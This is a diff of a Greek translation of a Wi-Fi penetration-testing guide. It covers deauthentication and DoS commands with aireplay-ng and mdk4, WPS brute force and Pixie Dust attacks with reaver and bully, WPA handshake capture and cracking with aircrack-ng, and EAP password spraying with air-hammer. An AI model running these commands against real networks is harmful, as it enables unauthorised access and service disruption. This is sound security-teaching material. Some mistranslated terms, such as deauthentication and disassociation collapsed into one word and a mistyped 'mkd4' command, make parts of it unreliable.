**WPA-MGT** -- **Σύλληψη Ονόματος Χρήστη** +- **Σύλληψη ονόματος χρήστη** - **Bruteforce** Διαπιστευτήρια - **Evil Twin** (με ή χωρίς DoS) -- **Ανοιχτό** Evil Twin \[+ DoS] -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή την εκτέλεση επιθέσεων LAN +- **Ανοιχτό** Evil Twin \[+ DoS] -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή για επιθέσεις LAN - **WPA-PSK** Evil Twin -- Χρήσιμο για επιθέσεις δικτύου αν γνωρίζετε τον κωδικό - **WPA-MGT** -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων εταιρείας - **KARMA, MANA**, **Loud MANA**, **Γνωστό beacon** -- **+ Ανοιχτό** -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή την εκτέλεση επιθέσεων LAN +- **+ Ανοιχτό** -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή για επιθέσεις LAN - **+ WPA** -- Χρήσιμο για τη σύλληψη WPA handshakes ## DOS @@ -101,21 +102,21 @@ sudo python setup.py install # Install any dependencies **Περιγραφή από** [**εδώ**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** -Οι επιθέσεις **Αποσύνδεσης**, μια διαδεδομένη μέθοδος στο hacking Wi-Fi, περιλαμβάνουν τη δημιουργία "διαχειριστικών" πλαισίων για να **αποσυνδέσουν βίαια τις συσκευές από ένα δίκτυο**. Αυτά τα μη κρυπτογραφημένα πακέτα εξαπατούν τους πελάτες να πιστεύουν ότι προέρχονται από το νόμιμο δίκτυο, επιτρέποντας στους επιτιθέμενους να συλλέγουν WPA handshakes για σκοπούς σπασίματος ή να διαταράσσουν μόνιμα τις συνδέσεις δικτύου. Αυτή η τακτική, ανησυχητική στην απλότητά της, είναι ευρέως χρησιμοποιούμενη και έχει σημαντικές επιπτώσεις για την ασφάλεια του δικτύου. +Οι επιθέσεις **αποσύνδεσης**, μια διαδεδομένη μέθοδος στο hacking Wi-Fi, περιλαμβάνουν τη δημιουργία "διαχειριστικών" πλαισίων για να **αποσυνδέσουν βίαια τις συσκευές από ένα δίκτυο**. Αυτά τα μη κρυπτογραφημένα πακέτα εξαπατούν τους πελάτες να πιστεύουν ότι προέρχονται από το νόμιμο δίκτυο, επιτρέποντας στους επιτιθέμενους να συλλέγουν WPA handshakes για σκοπούς σπασίματος ή να διαταράσσουν μόνιμα τις συνδέσεις δικτύου. Αυτή η τακτική, ανησυχητική στην απλότητά της, είναι ευρέως χρησιμοποιούμενη και έχει σημαντικές επιπτώσεις για την ασφάλεια του δικτύου. **Αποσύνδεση χρησιμοποιώντας Aireplay-ng** ``` aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 ``` - -0 σημαίνει αποσύνδεση -- 1 είναι ο αριθμός των αποσυνδέσεων που θα σταλούν (μπορείτε να στείλετε πολλές αν το επιθυμείτε); 0 σημαίνει στείλτε τις συνεχώς +- 1 είναι ο αριθμός των αποσυνδέσεων που θα σταλούν (μπορείτε να στείλετε πολλές αν το επιθυμείτε); 0 σημαίνει ότι θα στέλνονται συνεχώς - -a 00:14:6C:7E:40:80 είναι η διεύθυνση MAC του σημείου πρόσβασης -- -c 00:0F:B5:34:30:30 είναι η διεύθυνση MAC του πελάτη που θα αποσυνδεθεί; αν αυτό παραλειφθεί, τότε αποσύνδεση εκπομπής θα σταλεί (δεν λειτουργεί πάντα) +- -c 00:0F:B5:34:30:30 είναι η διεύθυνση MAC του πελάτη που θα αποσυνδεθεί; αν αυτό παραλειφθεί, τότε αποστέλλεται αποσύνδεση εκπομπής (δεν λειτουργεί πάντα) - ath0 είναι το όνομα της διεπαφής ### Πακέτα Αποσύνδεσης -**Τα πακέτα αποσύνδεσης**, παρόμοια με τα πακέτα αποσύνδεσης, είναι ένας τύπος διαχειριστικού πλαισίου που χρησιμοποιείται σε δίκτυα Wi-Fi. Αυτά τα πακέτα εξυπηρετούν για να διακόψουν τη σύνδεση μεταξύ μιας συσκευής (όπως ένα φορητό υπολογιστή ή smartphone) και ενός σημείου πρόσβασης (AP). Η κύρια διάκριση μεταξύ αποσύνδεσης και αποσύνδεσης έγκειται στα σενάρια χρήσης τους. Ενώ ένα AP εκπέμπει **πακέτα αποσύνδεσης για να αφαιρέσει ρητά κακόβουλες συσκευές από το δίκτυο, τα πακέτα αποσύνδεσης συνήθως αποστέλλονται όταν το AP βρίσκεται σε διαδικασία απενεργοποίησης**, επανεκκίνησης ή μετακίνησης, απαιτώντας έτσι τη διακοπή σύνδεσης όλων των συνδεδεμένων κόμβων. +**Τα πακέτα αποσύνδεσης**, παρόμοια με τα πακέτα αποσύνδεσης, είναι ένας τύπος διαχειριστικού πλαισίου που χρησιμοποιείται σε δίκτυα Wi-Fi. Αυτά τα πακέτα εξυπηρετούν την αποκοπή της σύνδεσης μεταξύ μιας συσκευής (όπως ένα φορητό υπολογιστή ή smartphone) και ενός σημείου πρόσβασης (AP). Η κύρια διάκριση μεταξύ αποσύνδεσης και αποσύνδεσης έγκειται στα σενάρια χρήσης τους. Ενώ ένα AP εκπέμπει **πακέτα αποσύνδεσης για να αφαιρέσει ρητά κακόβουλες συσκευές από το δίκτυο, τα πακέτα αποσύνδεσης αποστέλλονται συνήθως όταν το AP βρίσκεται σε διαδικασία απενεργοποίησης**, επανεκκίνησης ή μετακίνησης, απαιτώντας έτσι την αποσύνδεση όλων των συνδεδεμένων κόμβων. **Αυτή η επίθεση μπορεί να εκτελεστεί με το mdk4(mode "d"):** ```bash @@ -140,7 +141,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F # All the parameters are optional and you could load ESSIDs from a file mdk4 wlan0mon b -a -w nta -m ``` -**ΕΠΙΘΕΤΙΚΟΣ ΤΡΟΠΟΣ α: Άρνηση Υπηρεσίας Αυθεντικοποίησης** +**ΕΠΙΘΕΤΙΚΟΣ ΤΡΟΠΟΣ a: Άρνηση Υπηρεσίας Αυθεντικοποίησης** Η αποστολή πλαισίων αυθεντικοποίησης σε όλα τα προσβάσιμα Σημεία Πρόσβασης (APs) εντός εμβέλειας μπορεί να υπερφορτώσει αυτά τα APs, ειδικά όταν εμπλέκονται πολλοί πελάτες. Αυτή η έντονη κίνηση μπορεί να οδηγήσει σε αστάθεια του συστήματος, προκαλώντας σε ορισμένα APs να κολλήσουν ή ακόμη και να επαναρυθμιστούν. ```bash @@ -152,11 +153,11 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m ``` **ATTACK MODE p: SSID Probing and Bruteforcing** -Η εξερεύνηση των Σημείων Πρόσβασης (APs) ελέγχει αν ένα SSID αποκαλύπτεται σωστά και επιβεβαιώνει την εμβέλεια του AP. Αυτή η τεχνική, σε συνδυασμό με **bruteforcing κρυφών SSIDs** με ή χωρίς λίστα λέξεων, βοηθά στην αναγνώριση και πρόσβαση σε κρυμμένα δίκτυα. +Η διερεύνηση των Σημείων Πρόσβασης (APs) ελέγχει αν ένα SSID αποκαλύπτεται σωστά και επιβεβαιώνει την εμβέλεια του AP. Αυτή η τεχνική, σε συνδυασμό με **bruteforcing κρυφών SSIDs** με ή χωρίς λίστα λέξεων, βοηθά στην αναγνώριση και πρόσβαση σε κρυμμένα δίκτυα. **ATTACK MODE m: Michael Countermeasures Exploitation** -Η αποστολή τυχαίων ή διπλών πακέτων σε διαφορετικές ουρές QoS μπορεί να ενεργοποιήσει τα Michael Countermeasures σε **TKIP APs**, οδηγώντας σε κλείσιμο του AP για ένα λεπτό. Αυτή η μέθοδος είναι μια αποτελεσματική τακτική επίθεσης **DoS** (Denial of Service). +Η αποστολή τυχαίων ή διπλών πακέτων σε διαφορετικές ουρές QoS μπορεί να ενεργοποιήσει τα Michael Countermeasures σε **TKIP APs**, οδηγώντας σε διακοπή του AP για ένα λεπτό. Αυτή η μέθοδος είναι μια αποτελεσματική τακτική επίθεσης **DoS** (Denial of Service). ```bash # -t of a TKIP AP # -j use inteligent replay to create the DoS @@ -169,13 +170,13 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j] # Use Logoff messages to kick clients mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] ``` -**ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ s: Επιθέσεις για δίκτυα πλέγματος IEEE 802.11s** +**ATTACK MODE s: Επιθέσεις για δίκτυα πλέγματος IEEE 802.11s** Διάφορες επιθέσεις στη διαχείριση συνδέσεων και δρομολόγησης σε δίκτυα πλέγματος. -**ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ w: Σύγχυση WIDS** +**ATTACK MODE w: Σύγχυση WIDS** -Η διασύνδεση πελατών σε πολλαπλά WDS nodes ή ψεύτικα rogue APs μπορεί να χειραγωγήσει τα Συστήματα Ανίχνευσης και Πρόληψης Εισβολών, δημιουργώντας σύγχυση και πιθανή κακή χρήση του συστήματος. +Η διασύνδεση πελατών σε πολλαπλούς κόμβους WDS ή ψεύτικα rogue APs μπορεί να χειραγωγήσει τα Συστήματα Ανίχνευσης και Πρόληψης Εισβολών, δημιουργώντας σύγχυση και πιθανή κακή χρήση του συστήματος. ```bash # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) mkd4 -e -c [-z] @@ -201,9 +202,9 @@ _**Airgeddon**_ προσφέρει τις περισσότερες από τις - **Reaver** έχει σχεδιαστεί για να είναι μια ισχυρή και πρακτική επίθεση κατά του WPS, και έχει δοκιμαστεί σε μια ευρεία ποικιλία σημείων πρόσβασης και υλοποιήσεων WPS. - **Bully** είναι μια **νέα υλοποίηση** της επίθεσης brute force WPS, γραμμένη σε C. Έχει αρκετά πλεονεκτήματα σε σχέση με τον αρχικό κώδικα reaver: λιγότερες εξαρτήσεις, βελτιωμένη μνήμη και απόδοση CPU, σωστή διαχείριση του endianness, και ένα πιο ισχυρό σύνολο επιλογών. -Η επίθεση εκμεταλλεύεται την **ευπάθεια του WPS PIN**, ιδιαίτερα την έκθεση των πρώτων τεσσάρων ψηφίων και τον ρόλο του τελευταίου ψηφίου ως checksum, διευκολύνοντας την επίθεση brute-force. Ωστόσο, οι άμυνες κατά των επιθέσεων brute-force, όπως η **φραγή διευθύνσεων MAC** επιθετικών επιτιθεμένων, απαιτούν **περιστροφή διευθύνσεων MAC** για να συνεχιστεί η επίθεση. +Η επίθεση εκμεταλλεύεται την **ευπάθεια του WPS PIN**, ιδιαίτερα την έκθεση των πρώτων τεσσάρων ψηφίων και τον ρόλο του τελευταίου ψηφίου ως checksum, διευκολύνοντας την επίθεση brute-force. Ωστόσο, οι άμυνες κατά των επιθέσεων brute-force, όπως η **μπλοκάρισμα διευθύνσεων MAC** επιθετικών επιτιθεμένων, απαιτούν **περιστροφή διευθύνσεων MAC** για να συνεχιστεί η επίθεση. -Αφού αποκτηθεί το WPS PIN με εργαλεία όπως το Bully ή το Reaver, ο επιτιθέμενος μπορεί να deduce το WPA/WPA2 PSK, εξασφαλίζοντας **μόνιμη πρόσβαση στο δίκτυο**. +Αφού αποκτήσει το WPS PIN με εργαλεία όπως το Bully ή το Reaver, ο επιτιθέμενος μπορεί να deduce το WPA/WPA2 PSK, εξασφαλίζοντας **μόνιμη πρόσβαση στο δίκτυο**. ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 @@ -212,12 +213,12 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 Αυτή η εκλεπτυσμένη προσέγγιση στοχεύει σε WPS PINs χρησιμοποιώντας γνωστές ευπάθειες: -1. **Προκαθορισμένα PINs**: Χρησιμοποιήστε μια βάση δεδομένων γνωστών PINs που συνδέονται με συγκεκριμένους κατασκευαστές που είναι γνωστό ότι χρησιμοποιούν ομοιόμορφα WPS PINs. Αυτή η βάση δεδομένων συσχετίζει τα πρώτα τρία οκτάδες των MAC-διευθύνσεων με πιθανές PINs για αυτούς τους κατασκευαστές. -2. **Αλγόριθμοι Γεννήτριας PIN**: Εκμεταλλευτείτε αλγόριθμους όπως ComputePIN και EasyBox, οι οποίοι υπολογίζουν WPS PINs με βάση τη MAC-διεύθυνση του AP. Ο αλγόριθμος Arcadyan απαιτεί επιπλέον μια ταυτότητα συσκευής, προσθέτοντας μια επιπλέον διάσταση στη διαδικασία δημιουργίας PIN. +1. **Προκαθορισμένα PINs**: Χρησιμοποιήστε μια βάση δεδομένων γνωστών PINs που σχετίζονται με συγκεκριμένους κατασκευαστές που είναι γνωστό ότι χρησιμοποιούν ομοιόμορφα WPS PINs. Αυτή η βάση δεδομένων συσχετίζει τα πρώτα τρία οκτάδες των MAC διευθύνσεων με πιθανές PINs για αυτούς τους κατασκευαστές. +2. **Αλγόριθμοι Γεννήτριας PIN**: Εκμεταλλευτείτε αλγόριθμους όπως οι ComputePIN και EasyBox, οι οποίοι υπολογίζουν WPS PINs με βάση τη MAC διεύθυνση του AP. Ο αλγόριθμος Arcadyan απαιτεί επιπλέον μια ταυτότητα συσκευής, προσθέτοντας μια επιπλέον διάσταση στη διαδικασία γεννήτριας PIN. ### Επίθεση WPS Pixie Dust -**Dominique Bongard** ανακάλυψε ένα σφάλμα σε ορισμένα Access Points (APs) σχετικά με τη δημιουργία μυστικών κωδικών, γνωστών ως **nonces** (**E-S1** και **E-S2**). Εάν αυτά τα nonces μπορέσουν να ανακαλυφθούν, η αποκρυπτογράφηση του WPS PIN του AP γίνεται εύκολη. Το AP αποκαλύπτει το PIN μέσα σε έναν ειδικό κωδικό (hash) για να αποδείξει ότι είναι νόμιμο και όχι ψεύτικο (rogue) AP. Αυτά τα nonces είναι ουσιαστικά τα "κλειδιά" για να ξεκλειδώσουν το "χρηματοκιβώτιο" που κρατά το WPS PIN. Περισσότερα σχετικά με αυτό μπορείτε να βρείτε [εδώ](). +**Dominique Bongard** ανακάλυψε ένα σφάλμα σε ορισμένα Access Points (APs) σχετικά με τη δημιουργία μυστικών κωδικών, γνωστών ως **nonces** (**E-S1** και **E-S2**). Εάν αυτά τα nonces μπορέσουν να ανακαλυφθούν, η αποκρυπτογράφηση του WPS PIN του AP γίνεται εύκολη. Το AP αποκαλύπτει το PIN μέσα σε έναν ειδικό κωδικό (hash) για να αποδείξει ότι είναι νόμιμο και όχι ψεύτικο (rogue) AP. Αυτά τα nonces είναι ουσιαστικά τα "κλειδιά" για να ξεκλειδώσουν το "σεντούκι" που κρατά το WPS PIN. Περισσότερα σχετικά με αυτό μπορείτε να βρείτε [εδώ](). Με απλά λόγια, το πρόβλημα είναι ότι ορισμένα APs δεν χρησιμοποίησαν αρκετά τυχαία κλειδιά για την κρυπτογράφηση του PIN κατά τη διάρκεια της διαδικασίας σύνδεσης. Αυτό καθιστά το PIN ευάλωτο σε μαντεψιά από έξω από το δίκτυο (offline brute force attack). ```bash @@ -240,15 +241,15 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' ![](<../../images/image (219).png>) -- 5 και 6 σας επιτρέπουν να δοκιμάσετε **το δικό σας PIN** (αν έχετε) +- 5 και 6 σας επιτρέπουν να δοκιμάσετε **το προσαρμοσμένο PIN σας** (αν έχετε) - 7 και 8 εκτελούν την **επίθεση Pixie Dust** - 13 σας επιτρέπει να δοκιμάσετε το **NULL PIN** -- 11 και 12 θα **ανακτήσουν τα PIN που σχετίζονται με το επιλεγμένο AP από διαθέσιμες βάσεις δεδομένων** και θα **δημιουργήσουν** πιθανά **PIN** χρησιμοποιώντας: ComputePIN, EasyBox και προαιρετικά Arcadyan (συνιστάται, γιατί όχι;) +- 11 και 12 θα **συλλέξουν τα PIN που σχετίζονται με το επιλεγμένο AP από διαθέσιμες βάσεις δεδομένων** και θα **δημιουργήσουν** πιθανά **PIN** χρησιμοποιώντας: ComputePIN, EasyBox και προαιρετικά Arcadyan (συνιστάται, γιατί όχι;) - 9 και 10 θα δοκιμάσουν **κάθε πιθανό PIN** ## **WEP** -Τόσο σπασμένο και ανενεργό σήμερα. Απλά να ξέρετε ότι _**airgeddon**_ έχει μια επιλογή WEP που ονομάζεται "All-in-One" για να επιτεθεί σε αυτό το είδος προστασίας. Πολλά εργαλεία προσφέρουν παρόμοιες επιλογές. +Τόσο σπασμένο και ανενεργό σήμερα. Απλά να ξέρετε ότι _**airgeddon**_ έχει μια επιλογή WEP που ονομάζεται "All-in-One" για να επιτεθεί σε αυτό το είδος προστασίας. Περισσότερα εργαλεία προσφέρουν παρόμοιες επιλογές. ![](<../../images/image (432).png>) @@ -305,8 +306,8 @@ _Έχω παρατηρήσει ότι μερικοί από τους χειρα Μια επίθεση σε δίκτυα **WPA/WPA2** μπορεί να εκτελεστεί καταγράφοντας έναν **χειραγωγό** και προσπαθώντας να **σπάσει** τον κωδικό **εκτός σύνδεσης**. Αυτή η διαδικασία περιλαμβάνει την παρακολούθηση της επικοινωνίας ενός συγκεκριμένου δικτύου και **BSSID** σε μια συγκεκριμένη **κανάλι**. Ακολουθεί ένας απλός οδηγός: -1. Εντοπίστε το **BSSID**, την **κανάλι**, και έναν **συνδεδεμένο πελάτη** του στοχευόμενου δικτύου. -2. Χρησιμοποιήστε `airodump-ng` για να παρακολουθήσετε την κυκλοφορία του δικτύου στην καθορισμένη κανάλι και BSSID, ελπίζοντας να καταγράψετε έναν χειραγωγό. Η εντολή θα μοιάζει με αυτό: +1. Εντοπίστε το **BSSID**, το **κανάλι** και έναν **συνδεδεμένο πελάτη** του στοχευόμενου δικτύου. +2. Χρησιμοποιήστε `airodump-ng` για να παρακολουθήσετε την κυκλοφορία του δικτύου στο καθορισμένο κανάλι και BSSID, ελπίζοντας να καταγράψετε έναν χειραγωγό. Η εντολή θα έχει ως εξής: ```bash airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap ``` @@ -320,7 +321,7 @@ _Σημειώστε ότι καθώς ο πελάτης αποεξουσιοδο ![](<../../images/image (172) (1).png>) -Μόλις το handshake καταγραφεί, μπορείτε να **σπάσετε** το με `aircrack-ng`: +Μόλις το handshake καταγραφεί, μπορείτε να **σπάσετε** αυτό με το `aircrack-ng`: ``` aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap ``` @@ -377,25 +378,25 @@ pyrit -r psk-01.cap analyze ### Ανώνυμες Ταυτότητες -Η απόκρυψη ταυτότητας υποστηρίζεται τόσο από το EAP-PEAP όσο και από το EAP-TTLS. Στο πλαίσιο ενός δικτύου WiFi, ένα αίτημα EAP-Identity συνήθως ξεκινά από το σημείο πρόσβασης (AP) κατά τη διαδικασία συσχέτισης. Για να διασφαλιστεί η προστασία της ανωνυμίας του χρήστη, η απάντηση από τον πελάτη EAP στη συσκευή του χρήστη περιέχει μόνο τις απαραίτητες πληροφορίες που απαιτούνται για την αρχική επεξεργασία του αιτήματος από τον διακομιστή RADIUS. Αυτή η έννοια απεικονίζεται μέσω των παρακάτω σεναρίων: +Η απόκρυψη ταυτότητας υποστηρίζεται τόσο από το EAP-PEAP όσο και από το EAP-TTLS. Στο πλαίσιο ενός δικτύου WiFi, ένα αίτημα EAP-Identity συνήθως ξεκινά από το σημείο πρόσβασης (AP) κατά τη διαδικασία συσχέτισης. Για να διασφαλιστεί η προστασία της ανωνυμίας του χρήστη, η απάντηση από τον πελάτη EAP στη συσκευή του χρήστη περιέχει μόνο τις απαραίτητες πληροφορίες που απαιτούνται για να επεξεργαστεί ο αρχικός διακομιστής RADIUS το αίτημα. Αυτή η έννοια απεικονίζεται μέσω των παρακάτω σεναρίων: - EAP-Identity = ανώνυμος - Σε αυτό το σενάριο, όλοι οι χρήστες χρησιμοποιούν το ψευδώνυμο "ανώνυμος" ως αναγνωριστικό χρήστη τους. Ο αρχικός διακομιστής RADIUS λειτουργεί είτε ως διακομιστής EAP-PEAP είτε EAP-TTLS, υπεύθυνος για τη διαχείριση της πλευράς του διακομιστή του πρωτοκόλλου PEAP ή TTLS. Η εσωτερική (προστατευμένη) μέθοδος αυθεντικοποίησης διαχειρίζεται είτε τοπικά είτε ανατίθεται σε έναν απομακρυσμένο (οικιακό) διακομιστή RADIUS. - EAP-Identity = ανώνυμος@realm_x -- Σε αυτή την περίπτωση, οι χρήστες από διαφορετικά realms αποκρύπτουν τις ταυτότητές τους ενώ υποδεικνύουν τα αντίστοιχα realms τους. Αυτό επιτρέπει στον αρχικό διακομιστή RADIUS να προξενήσει τα αιτήματα EAP-PEAP ή EAP-TTLS σε διακομιστές RADIUS στα οικιακά τους realms, οι οποίοι λειτουργούν ως διακομιστής PEAP ή TTLS. Ο αρχικός διακομιστής RADIUS λειτουργεί αποκλειστικά ως κόμβος αναμετάδοσης RADIUS. -- Εναλλακτικά, ο αρχικός διακομιστής RADIUS μπορεί να λειτουργήσει ως διακομιστής EAP-PEAP ή EAP-TTLS και είτε να διαχειριστεί την προστατευμένη μέθοδο αυθεντικοποίησης είτε να την προωθήσει σε άλλο διακομιστή. Αυτή η επιλογή διευκολύνει τη διαμόρφωση διακριτών πολιτικών για διάφορα realms. +- Σε αυτή την περίπτωση, οι χρήστες από διαφορετικά realms αποκρύπτουν τις ταυτότητές τους ενώ υποδεικνύουν τα αντίστοιχα realms τους. Αυτό επιτρέπει στον αρχικό διακομιστή RADIUS να προξενήσει τα αιτήματα EAP-PEAP ή EAP-TTLS σε διακομιστές RADIUS στα οικιακά τους realms, οι οποίοι λειτουργούν ως διακομιστές PEAP ή TTLS. Ο αρχικός διακομιστής RADIUS λειτουργεί αποκλειστικά ως κόμβος αναμετάδοσης RADIUS. +- Εναλλακτικά, ο αρχικός διακομιστής RADIUS μπορεί να λειτουργήσει ως διακομιστής EAP-PEAP ή EAP-TTLS και είτε να διαχειριστεί τη μέθοδο προστατευμένης αυθεντικοποίησης είτε να την προωθήσει σε άλλο διακομιστή. Αυτή η επιλογή διευκολύνει τη διαμόρφωση διακριτών πολιτικών για διάφορα realms. Στο EAP-PEAP, μόλις το τούνελ TLS έχει καθιερωθεί μεταξύ του διακομιστή PEAP και του πελάτη PEAP, ο διακομιστής PEAP ξεκινά ένα αίτημα EAP-Identity και το μεταδίδει μέσω του τούνελ TLS. Ο πελάτης απαντά σε αυτό το δεύτερο αίτημα EAP-Identity στέλνοντας μια απάντηση EAP-Identity που περιέχει την αληθινή ταυτότητα του χρήστη μέσω του κρυπτογραφημένου τούνελ. Αυτή η προσέγγιση αποτρέπει αποτελεσματικά την αποκάλυψη της πραγματικής ταυτότητας του χρήστη σε οποιονδήποτε παρακολουθεί την κίνηση 802.11. Το EAP-TTLS ακολουθεί μια ελαφρώς διαφορετική διαδικασία. Με το EAP-TTLS, ο πελάτης συνήθως αυθεντικοποιείται χρησιμοποιώντας PAP ή CHAP, ασφαλισμένο από το τούνελ TLS. Σε αυτή την περίπτωση, ο πελάτης περιλαμβάνει ένα χαρακτηριστικό User-Name και είτε ένα Password είτε ένα CHAP-Password χαρακτηριστικό στο αρχικό μήνυμα TLS που αποστέλλεται μετά την καθιέρωση του τούνελ. -Ανεξάρτητα από το πρωτόκολλο που επιλέγεται, ο διακομιστής PEAP/TTLS αποκτά γνώση της αληθινής ταυτότητας του χρήστη αφού έχει καθιερωθεί το τούνελ TLS. Η αληθινή ταυτότητα μπορεί να αναπαριστάται ως user@realm ή απλά user. Εάν ο διακομιστής PEAP/TTLS είναι επίσης υπεύθυνος για την αυθεντικοποίηση του χρήστη, τώρα κατέχει την ταυτότητα του χρήστη και προχωρά με τη μέθοδο αυθεντικοποίησης που προστατεύεται από το τούνελ TLS. Εναλλακτικά, ο διακομιστής PEAP/TTLS μπορεί να προωθήσει ένα νέο αίτημα RADIUS στον οικιακό διακομιστή RADIUS του χρήστη. Αυτό το νέο αίτημα RADIUS παραλείπει το επίπεδο πρωτοκόλλου PEAP ή TTLS. Σε περιπτώσεις όπου η προστατευμένη μέθοδος αυθεντικοποίησης είναι EAP, τα εσωτερικά μηνύματα EAP μεταδίδονται στον οικιακό διακομιστή RADIUS χωρίς την περιτύλιξη EAP-PEAP ή EAP-TTLS. Το χαρακτηριστικό User-Name του εξερχόμενου μηνύματος RADIUS περιέχει την αληθινή ταυτότητα του χρήστη, αντικαθιστώντας το ανώνυμο User-Name από το εισερχόμενο αίτημα RADIUS. Όταν η προστατευμένη μέθοδος αυθεντικοποίησης είναι PAP ή CHAP (υποστηρίζεται μόνο από TTLS), τα χαρακτηριστικά User-Name και άλλα χαρακτηριστικά αυθεντικοποίησης που εξάγονται από το φορτίο TLS αντικαθίστανται στο εξερχόμενο μήνυμα RADIUS, αντικαθιστώντας το ανώνυμο User-Name και τα χαρακτηριστικά TTLS EAP-Message που βρίσκονται στο εισερχόμενο αίτημα RADIUS. +Ανεξάρτητα από το πρωτόκολλο που επιλέγεται, ο διακομιστής PEAP/TTLS αποκτά γνώση της αληθινής ταυτότητας του χρήστη αφού έχει καθιερωθεί το τούνελ TLS. Η αληθινή ταυτότητα μπορεί να αναπαριστάται ως user@realm ή απλά user. Αν ο διακομιστής PEAP/TTLS είναι επίσης υπεύθυνος για την αυθεντικοποίηση του χρήστη, τώρα κατέχει την ταυτότητα του χρήστη και προχωρά με τη μέθοδο αυθεντικοποίησης που προστατεύεται από το τούνελ TLS. Εναλλακτικά, ο διακομιστής PEAP/TTLS μπορεί να προωθήσει ένα νέο αίτημα RADIUS στον οικιακό διακομιστή RADIUS του χρήστη. Αυτό το νέο αίτημα RADIUS παραλείπει το επίπεδο πρωτοκόλλου PEAP ή TTLS. Σε περιπτώσεις όπου η προστατευμένη μέθοδος αυθεντικοποίησης είναι EAP, τα εσωτερικά μηνύματα EAP μεταδίδονται στον οικιακό διακομιστή RADIUS χωρίς την περιτύλιξη EAP-PEAP ή EAP-TTLS. Το χαρακτηριστικό User-Name του εξερχόμενου μηνύματος RADIUS περιέχει την αληθινή ταυτότητα του χρήστη, αντικαθιστώντας το ανώνυμο User-Name από το εισερχόμενο αίτημα RADIUS. Όταν η προστατευμένη μέθοδος αυθεντικοποίησης είναι PAP ή CHAP (υποστηρίζεται μόνο από TTLS), τα χαρακτηριστικά User-Name και άλλα χαρακτηριστικά αυθεντικοποίησης που εξάγονται από το φορτίο TLS αντικαθίστανται στο εξερχόμενο μήνυμα RADIUS, αντικαθιστώντας το ανώνυμο User-Name και τα χαρακτηριστικά TTLS EAP-Message που βρίσκονται στο εισερχόμενο αίτημα RADIUS. Για περισσότερες πληροφορίες δείτε [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm) ### EAP-Bruteforce (password spray) -Εάν αναμένεται ότι ο πελάτης θα χρησιμοποιήσει ένα **όνομα χρήστη και κωδικό** (σημειώστε ότι **EAP-TLS δεν θα είναι έγκυρο** σε αυτή την περίπτωση), τότε μπορείτε να προσπαθήσετε να αποκτήσετε μια **λίστα** με **ονόματα χρηστών** (δείτε το επόμενο μέρος) και **κωδικούς** και να προσπαθήσετε να **σπάσετε** την πρόσβαση χρησιμοποιώντας [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.** +Αν αναμένεται ότι ο πελάτης θα χρησιμοποιήσει ένα **όνομα χρήστη και κωδικό** (σημειώστε ότι **EAP-TLS δεν θα είναι έγκυρο** σε αυτή την περίπτωση), τότε μπορείτε να προσπαθήσετε να αποκτήσετε μια **λίστα** με **ονόματα χρηστών** (δείτε το επόμενο μέρος) και **κωδικούς** και να προσπαθήσετε να **σπάσετε** την πρόσβαση χρησιμοποιώντας [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.** ```bash ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ``` @@ -417,19 +418,19 @@ pyrit -r psk-01.cap analyze ### Λίστες Προτιμώμενων Δικτύων (PNLs) -- Οι σταθμοί αποθηκεύουν το ESSID κάθε ασύρματου δικτύου στο οποίο συνδέονται στη Λίστα Προτιμώμενων Δικτύων τους (PNL), μαζί με λεπτομέρειες συγκεκριμένες για το δίκτυο. +- Οι σταθμοί αποθηκεύουν το ESSID κάθε ασύρματου δικτύου στο οποίο συνδέονται στη Λίστα Προτιμώμενων Δικτύων τους (PNL), μαζί με λεπτομέρειες ρύθμισης που σχετίζονται με το δίκτυο. - Η PNL χρησιμοποιείται για αυτόματη σύνδεση σε γνωστά δίκτυα, βελτιώνοντας την εμπειρία του χρήστη απλοποιώντας τη διαδικασία σύνδεσης. ### Παθητική Σάρωση -- Οι APs περιοδικά εκπέμπουν beacon frames, ανακοινώνοντας την παρουσία και τα χαρακτηριστικά τους, συμπεριλαμβανομένου του ESSID του AP εκτός αν η εκπομπή είναι απενεργοποιημένη. -- Κατά τη διάρκεια της παθητικής σάρωσης, οι σταθμοί ακούν για beacon frames. Εάν το ESSID ενός beacon ταιριάζει με μια καταχώρηση στη PNL του σταθμού, ο σταθμός μπορεί να συνδεθεί αυτόματα σε αυτό το AP. +- Οι APs περιοδικά εκπέμπουν πλαίσια beacon, ανακοινώνοντας την παρουσία και τα χαρακτηριστικά τους, συμπεριλαμβανομένου του ESSID του AP εκτός αν η εκπομπή είναι απενεργοποιημένη. +- Κατά τη διάρκεια της παθητικής σάρωσης, οι σταθμοί ακούν για πλαίσια beacon. Αν το ESSID ενός beacon ταιριάζει με μια καταχώρηση στη PNL του σταθμού, ο σταθμός μπορεί να συνδεθεί αυτόματα σε αυτό το AP. - Η γνώση της PNL 